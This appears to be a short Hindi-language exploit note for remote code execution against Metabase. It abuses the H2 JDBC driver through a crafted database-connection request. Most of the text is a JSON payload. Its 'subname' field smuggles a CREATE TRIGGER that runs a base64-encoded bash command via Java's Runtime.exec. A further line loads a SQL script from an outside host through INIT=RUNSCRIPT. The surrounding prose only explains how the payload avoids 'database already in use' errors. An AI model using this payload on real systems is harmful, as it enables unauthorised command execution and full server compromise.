
Metabase postgres (org.h2.Driver) बिना INIT के RCE
इसने मुझे "डेटाबेस पहले से उपयोग में है" (H2 और पोस्टग्रे इंजन के साथ) त्रुटियों से बचने में मदद की
{
"token": "TOKEN",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":{},
"details":
{
"advanced-options":true,
"classname":"org.h2.Driver",
"subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
"subprotocol": "h2"
},
"engine": "postgres",
"name": "x"
}}
सीधे h2 को INIT स्क्रिप्ट के साथ इंजन के रूप में उपयोग करने के बजाय, क्योंकि इसे हमारे क्वेरीज़ से हटा दिया गया है, हम अभी भी h2 इंजन के लिए db क्वेरी का उपयोग कर रहे हैं
mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'